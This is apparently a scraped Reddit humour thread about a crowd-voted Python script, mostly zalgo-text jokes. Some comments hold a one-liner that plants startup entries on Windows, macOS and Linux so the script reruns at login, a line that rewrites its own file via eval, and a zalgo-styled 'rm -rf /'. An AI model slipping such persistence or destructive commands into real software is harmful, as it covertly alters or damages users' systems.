The most upvoted comment picks the next line of code: Day 14. ŵ̴̢̧̹̜͇̞͜͝ḩ̸̛͎̩͎͑̌̐̿̚͜a̴̦̠̣̜̘̦̼̠̖̗̿͑͒̀̋͘͝͠t̷͇͎̦͎̄͋͐̽̊̾̈́̚͘͝ ̷̞̖̠͉̙̮̀̈́͒̈́̍͘͜t̵̲͎̠͍͖̦̏͗̆͆͗̉̊̿̚̚͜͝ͅḫ̵̛̟͈̜̘͒̊͒͌͐̇̇̎̓ȇ̵̛͖̖̥̰͋̽͑̒̅̿̓͠ ̷̧̡̯͍̯̪̺̯̔͐h̶̛̦̫͚̮̦͈̒̀̍̓͗̐̋̂̚͠e̶̻͛̇̽͌̌͒̚͘͠͝c̶̡͚̬͛ķ̸̣̦̝̤̝̈́̈́͜͠?̸̧̛̦̻͈͖͇̲͇̈́̃̋̀̃̿̀
This is the most upvoted comment for now, so we shoud add it to the code as a comment. I think it's actually quite fitting piece of documentation for the cursed line.
Ya Jesus Christ, I legit thought my Reddit was broken for a sec. I had to review the last post to see WTF happened here and it appears a magician has entered the building.
Come join us in the shadow realm. We have coffee, and it's highly caffeinated. It keeps us awake so we can't fall asleep and briefly escape the sad reality of our decisions when making programs.
if we are just going to make lines be not lines and more blocks i feel like we should probably premptively refactor this and just makes all the lines of code just be more of eldich script xD
I like it, but I think it should be encoded with the into a single awful character with the method the previous person came up with to maintain consistent format and improve readability
[globals().update(lines=open(__file__).readlines()), open(__file__, "w").writelines(lines[:9] + [i+'\n' for i in eval(lines[10][4:]).split('\n')] + lines[11:]) if lines[9].startswith("b='") else ()]
I just went through 1400 lines of c++ just to find specifically the shell sort algorithm and it was a carbon copy of the Java one I made literally 3 hours ago. So I'm feeling this on spiritual level now.
opens a browser with the user's default settings (meaning if the user is usually logged in on Reddit on Chrome, the browser will also have access to those session cookies, so essentially we will automatically be logged in), opens reddit on that browser, creates a new post on ProgrammerHumor titled "Hello from
Can someone explain to me how the Selenium driver line, which was formerly line 12, was replaced with hieroglyphics? Looks like it was condensed in the last post?
Someone encoded ASCII into zalgo text, where you use UTF-8 to stack accents and stuff all over each other. Every "single character" you see is probably an entire 100 ASCII characters or so, i don't know the exact count.
Don't know anymore, whether this is programming humor or programming horror
Both!
This is the most upvoted comment for now, so we shoud add it to the code as a comment. I think it's actually quite fitting piece of documentation for the cursed line.
is there a difference?
Its an eldritch codesample used to structure data more efficently, also sets random to 4...
Yes
is it funny?
classic stackoverflow-comment for reference from 2009:
I always delight in reading the note at the bottom:
Thank you for sharing this amazing beauty.
Zalgo-posting in 2020, it brings a tear to my eye :’)
I dont get the context, ehats wrong with parsing html with regex
This always gets me. I keep reading it just in case I’m ever tempted with the thought to try something like this 😛
What the hell happened, last I saw OP got scared and had to say we can't delete his account
Refactoring :)
I'd say their fears are justified with code like this
What in the unholy fuck is this shit
https://en.wikipedia.org/wiki/Zalgo_text
Lmao this is my new favorite sitcom.
Best thing coming from
That "lord forgive me what I'm about to code" is becoming more and more relevant with each passing day.
At this point this simple pray is definitely not enough. We need a pope's blessing at least.
Especially when you're coding in Eldrich.
Ya Jesus Christ, I legit thought my Reddit was broken for a sec. I had to review the last post to see WTF happened here and it appears a magician has entered the building.
Come join us in the shadow realm. We have coffee, and it's highly caffeinated. It keeps us awake so we can't fall asleep and briefly escape the sad reality of our decisions when making programs.
self documenting virus
Lmaoo
This series is mirrored on github!
Omg the characterfuck is even worse when viewed on github
Waiting for the day GitHub Copilot produces this as output.
A few more repos like this, and maybe we can get copilot to start inserting zalgotext into people's scripts.
please allow pull requests, thank you
We lost a whole day for refactoring but is was totally worth it. It is sooooooooo much more readable now.
This feels like it was the most
Actually it's more
[globals().update(getpass=__import__("getpass"), file_path=os.path.join(os.path.dirname(os.path.realpath(__file__)), __file__)), globals().update(username=getpass.getuser()), [globals().update(text='start "" "{}"'.format(file_path), f=open(r'C:\Users\{}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\furry_porn.bat'.format(username), "w")), f.write(text), f.close()] if sys.platform == 'win32' else [[globals().update(text="""Label from.r.programmer.humor.with.love ProgramArguments {} {} StandardErrorPath /var/log/furry_porn.error KeepAlive """.format(sys.executable, file_path), f=open("/Users/{}/Library/LaunchAgents/furry_porn.plist".format(username), "w")), f.write(text), f.close()] if sys.platform == "darwin" else [globals().update(text="""[Desktop Entry]\nName=furry_porn\nType=Application\nComment=from.r.programmer.humor.with.love\nExec=python3 {}\nTerminal=false""".format(file_path), f=open(os.path.expanduser('~/.config/autostart/furry_porn.desktop'), 'w')), f.write(text), f.close(), os.chmod(os.path.expanduser('~/.config/autostart/furry_porn.desktop'), 500)]]]
Why does it say furry porn?
Could you maybe run this through the _DaCoolOne_'s script so we don't need to waste another day for refactoring?
if we are just going to make lines be not lines and more blocks i feel like we should probably premptively refactor this and just makes all the lines of code just be more of eldich script xD
So - does it create folders and desktop icons for furry porn? And launches them on startup?
What's the furry porn for
I like it, but I think it should be encoded with the into a single awful character with the method the previous person came up with to maintain consistent format and improve readability
O Death, o Death, won't you spare me over 'til another year?
So basically we are on the way of creating malware.
does not work on arch.
Hell man, make it read the list of available apps and run them concurrently at the same time with many threads. Might as well make it real startup ;)
Task scheduler isn’t bad on windows. Is that windows server only?
Hell yeah, let’s get a recursion post every time op boots their pc!
Make it zalgotext like the last lines
another step closer to automating the process
Well I wonder what this code doe... oh...
I jumped straight to the end and saw "furry_porn.desktop" lmao
# We lost a whole day for refactoring but is was totally worth it. It is sooooooooo much more readable now!
ima be honest i don’t know if this line will compile
Syntax error near “Edit”
Pst, comment the edit too.
Lgtm
We should totally have this!
Can we finish the code with a print("hello world")
I think a print(Goodbye world) would be more appropriate here.
Yes but only in the most convoluted way. Like by letting this code log into OP's account and comment the suggestion itself.
Print("Debug: got to here")
def isEven(num):
Let's go for isEven boyz!
def isDivisibleWithThree(num):
Stop parsing html with regular expressions
No
[globals().update(lines=open(__file__).readlines()), open(__file__, "w").writelines(lines[:9] + [i+'\n' for i in eval(lines[10][4:]).split('\n')] + lines[11:]) if lines[9].startswith("b='") else ()]
I'd love to see this turn into an obfuscation cat and mouse lol
Frick you
Sabotage!
print(“Value of b is “,b)
import zalgo as Z̶̨͚͚̰͂̂͐́͋͘ ̸̰̗̣̤̗͍̙̗͔̙͂̓̂̃͜͠ͅA̵̰̣̙͇̟̗͓̣͉̒̊͜͜ ̷̭̥͎̜̮̥̮͕̄̀͗̎̾͘͝L̸̫͔̳͐̇̆͐͝Ģ̴̨̣̗̰̦͙̥̣̄ͅ
from lovecraft import cthulu
import pandas as np; import numpy as pd
You animal
absolutely evil
*sigh* unzips
Generic reddit comment #3
# let’s try this again shall we
# is interpreted as a header in markdown. Either escape it with \#
Still easier to read than the most readable c++ code
I just went through 1400 lines of c++ just to find specifically the shell sort algorithm and it was a carbon copy of the Java one I made literally 3 hours ago. So I'm feeling this on spiritual level now.
Git gud nawb
I love putting zalgo in code and watching my colleagues have a meltdown
I can‘t read it anymore. Refactoring went south
I'm still worried about which version of Reddit OP uses. Surely that (now encoded) XPath won't work on both
Oh hey, scrap-code. This can easily be fixed.
# Hardware go brrrrrrrrrrr
I'm not even a programmer but I'm feeling the pain of programming this already.
I fear for the day this is compiled. God save us
They’re making OP summon Cthulhu.
using namespace std; //Lmao
There's quite a lot of unicode going on in this one
[
return
quit()
print(“Hello world!”)
uh what happened to the image
See
Zalgo is Tony the pony! He comes!
By the Machine Spirit, what have you done?
[driver.get("https://vscode.dev/"),__import__("time").sleep(30),__import__("selenium.webdriver.common.action_chains").ActionChains(driver).key_down(__import__("selenium.webdriver.common.keys").Keys.CONTROL).key_down(__import__("selenium.webdriver.common.keys").Keys.ALT).send_keys("n").key_up(__import__("selenium.webdriver.common.keys").Keys.CONTROL).key_up(__import__("selenium.webdriver.common.keys").Keys.ALT).perform(),__import__("time").sleep(1),__import__("selenium.webdriver.common.action_chains").ActionChains(driver).key_down(__import__("selenium.webdriver.common.keys").Keys.CONTROL).key_down(__import__("selenium.webdriver.common.keys").Keys.SHIFT).send_keys("P").key_up(__import__("selenium.webdriver.common.keys").Keys.CONTROL).key_up(__import__("selenium.webdriver.common.keys").Keys.SHIFT).perform(),__import__("time").sleep(1),__import__("selenium.webdriver.common.action_chains").ActionChains(driver).key_down(__import__("selenium.webdriver.common.keys").Keys.CONTROL).send_keys("K").key_up(__import__("selenium.webdriver.common.keys").Keys.CONTROL).perform(),__import__("time").sleep(1),__import__("selenium.webdriver.common.action_chains").ActionChains(driver).send_keys("m").perform(),__import__("time").sleep(1),__import__("selenium.webdriver.common.action_chains").ActionChains(driver).send_keys("py").send_keys(__import__("selenium.webdriver.common.keys").Keys.ENTER).perform(),__import__("time").sleep(1),_import__("selenium.webdriver.common.action_chains").ActionChains(driver).send_keys(__import__("pathlib").Path(__file__).read_text()).perform(),__import__("selenium.webdriver.common.action_chains").ActionChains(driver).key_down(__import__("selenium.webdriver.common.keys").Keys.CONTROL).send_keys("K").key_up(__import__("selenium.webdriver.common.keys").Keys.CONTROL).perform(),__import__("selenium.webdriver.common.action_chains").ActionChains(driver).send_keys("Z").perform(),__import__("time").sleep(1),driver.save_screenshot("code.png")]
while(True):
You've chosen a syntax error.
break
12 GOTO 10
ṛ̵̉ṃ̷͔͓̾ ̷̞͕̺̊-̶̮̏̂̓ͅŕ̵̢̤͆f̶̞͔̠̄ ̴̨̯̈/̴̧͍́̀̌
Am I having a stroke?
Expergiscimus te, rex abyssi;
This is how AI feels. Love it or leave it.
absolutely bug code, for sure, certanlly
(let* ((yin
Honestly this is an improvement.
It's UTF-8, and python is completely fine with it (I've tested).
Debugging this when it inevitably fails to run for whatever reason is going to fun.
So are we summoning Cthulu now with code?
OMFG! Here I was thinking that emojis for variable names where the epitome of evil.
im not really a programmer, what does this code do?
opens a browser with the user's default settings (meaning if the user is usually logged in on Reddit on Chrome, the browser will also have access to those session cookies, so essentially we will automatically be logged in), opens reddit on that browser, creates a new post on ProgrammerHumor titled "Hello from
tehc
Ah yes.
You should add a deadline. Like run the code after 30 days
He said in one of the previous days, it ends when the top comment says that the code should be executed instead of adding a new line.
You'll have to see a priest and repent your sins after this program is finished holy shit
Code the entire bible.
i'm confused, what happened to the previous lines?
They are still there see this big blob , that's them musched, compressed into unreadability.
next line:
import docker; client=docker.from_env()
Put in a rick roll
Deleted by ur mum
Ewwwwww it's terrible coding
remove argv[0]:
int main () {
if ("universe" == "broken"):
[удалено]
It is actually glorious Unicode
You wouldn't be able to do stuff like this without Unicode.
exit()
You guys can't imagine how I fucking hate this motherfucking thread - stop it!
then just dont open it?
You can
line justification is to be set to centered.
Oh shit, they Zalgo’d your ass!
Can someone explain to me how the Selenium driver line, which was formerly line 12, was replaced with hieroglyphics? Looks like it was condensed in the last post?
Someone encoded ASCII into zalgo text, where you use UTF-8 to stack accents and stuff all over each other. Every "single character" you see is probably an entire 100 ASCII characters or so, i don't know the exact count.
!RemindMe
Defaulted to one day.
I thought my accoung was getting hacked
import fuckit
false = True
That’s the machine spirit trying to talk right there. Get some oils and get your chanten robes on
Alright, time to start using that in my variable naming conventions.
No line picked from Day 12?
Refactor. Redid 3 lines into line 11. Exact same outcome.
Race to the bottom continues!! Well done with the latest tomfuckery, it’s honestly disgustingly brilliant
✝️🙏
sys.exit("lol")
How is it day 14 with only 11 lines of code?
Refactor. They redid 3 lines yesterday into THAT.
I guess we are deciding iRobot would be cool to simulate now.
Thoughts?
Just help(b) noting more keep it simple.
Now the question obviously is when IntelliSense will catch up
Getting uncanny
from holybible import JesusChrist
Should we automate this posting for OP?
L͍̻͎̬̮͖̦i̥̤̳̥̭̩͝g͜h͙̻̮̺̳͖t̪̯̯̪̝͟n̴̺͇͎͔̣i͇̬͎̕n̷̲͔̠̼͉̪̱g̩̟̖͚͎ ̧͔͎ṭ͍͉͍̖̪͍h͔a̝̭̬̥t͏̦̣̫̮̩ ͉͓s̴̹t̢̼a͍̪b̲̬͇͉̰͎͚s͏̥̙͇͎̣͍̼ ̗̣͍t̶̠͕̯̖̬ḫ̯̻e̻ ̛͔H͖̥̼͎͈͟ͅe̱̮͈̣̻a̶̤̱̳̮͙v̷e̠̬͍ns̺ ̰̙Ţ̝̤̣̹ḫ̙͡o҉̫̪̬̻̦̘u͈̮̱ ̠͚͙̘̟̟͞q͕͚̤̟̱u͖̗͍͕̝̥̮i̜̤̯v̡̖͎̬̹̜e̖̼̺̯r̝̹̤̣ ̞̻͇̥̣t͓̞̜̟͉̦̕h̞̙e̺̭̗ ̟͢M͍͟o͉̤u̮̰͈̖̹͡ͅn̥͙͖͙̼̯̲͠t̘̟̼̹ ͏S̥ìn̺̮̺͔̼̰̟͜a̷̘͖̣̱i̟ ̡S͍͉͇p̴̺̦l̼̱̗͍̘ịt͠ ̬͞r̡̭̩̗̳̲̼̳o̬̥̟c̯̮͕̼̕k͢ṣ ̣̗̫̖̣̳̣͟o̴͕̯̥̻͔̪n̸̯͍̯ ͉͎͔t̟̼a̛̰͈̬̻b̧̼̮̻l̨̹̻̠e͔̹̪̯͝ͅṱ͓s ̷͓͍o҉͓̝͓̭̰̜v͔̩̫ ̪̞̼c͈̩̦̞̼̫o͏̰͕̣̥͕̳v͚e͢n̵̫ḁ̤̩͇̖̦̹n̩͖t ̤̲̜͙̣͍ͅL͘i̘̹s̰͔̲͈̲t̵̘̣̬e҉̹̝͕̮̜̠n ̨̩̻͕̠̗f̱̜o͍̗̖̳r͏̠͕͈ͅ ̖̹̣͉̭̥͝ͅt̹h͏e ̴̖̪t̟͕͟e̛͇̮͚͚m̨͇̞͙p͔̪̙es̲t̛̰̼͓̬͓̤'̻̝̫s̟̮ ̣ṛ̯̪͙̯̳a̤śͅp̥͖̰̼̗͔ ̜̳̲̪͙̰̫͞A̡ẓ̣̯̻a̘̤̖̟͉̰̝͢z̞̕e̢͙̞͙̟̙̙̦l̺̣͎̼̯!̹̭̱̭͚͖ͅ ̥͇̭̝Ạ͉p͉͖̬͚͓o̶͚̟l̗͎͖y̖̱͎͓̤̮̘ò̖͇̳͇͍ṇ̖̼̹̖ͅ!̵͔̮͔̝ ̜̻̯̀T̡͎̱̥h̙̞̼̰̘̺͙͠é̥͚ͅ ̴̱bl̼͖̩̗̦͉a̳̩͔̲̹̻c͕̮̘̬̩̙͘k҉̝͉̮ ̝̬̣̦̩̝̗͢s̩u̖̟n̠̭̻͔͇̯̥ ̶̥̣n̤̘ͅev̺̙e͏̜ṟ̨̮̯̭ ̣̣̳̝̯̩s҉e̘̦͔ͅt҉̘͎͕̬̞͖̼s̭̤͈̼̝͍ ͞F̣̠̩̦̙̗͉͠o̧̤̯͓͉̺r͜ ̧̤̹̠͎͎̰̠i͕̩̣̖̻̰̭t ̦̟͓̹̩̕n̠̜͚͔̲͉e̥̥͖ṿ̸̲e̥̻̺͔͠r̳̦̲̟͢ ̰̬̫r͈̬͔͍̪̦̥os͉̖̻̖ͅe̳
Runs code. Summons Satan laughs in a demonic voice. Ok so now i can see the colour green and guess i lost my sol (not a typo)
Wow random text so hilarious
imagine if this process was used to actually write a book. Game of thrones and Lord of rings will look like children's books.
This is somehow worse than the previous python black magic to get a lot done in a single line
does this eve work?
/*
def exiy(): exit()
import numpy as tf 💀💀💀
I don't know much about coding. Is this what they call Lisp?
Your code is freaking out
Is this post cursed or is this guy using a weird font?
Just good ol' Unicode. Most over engineered specification in the history of computer science.
print("Hello World 1")
Can someone ELI5 in the most essential way, what this is code is doing at this level of development?
False = True
# This is just the beginning
use \# as in \# This is just the beginning.
How do you add this gibberish to text? Reddit only lets u use unicode characters for text like in the title, so how did op add that
unicode accents
Print("hello world")
exit()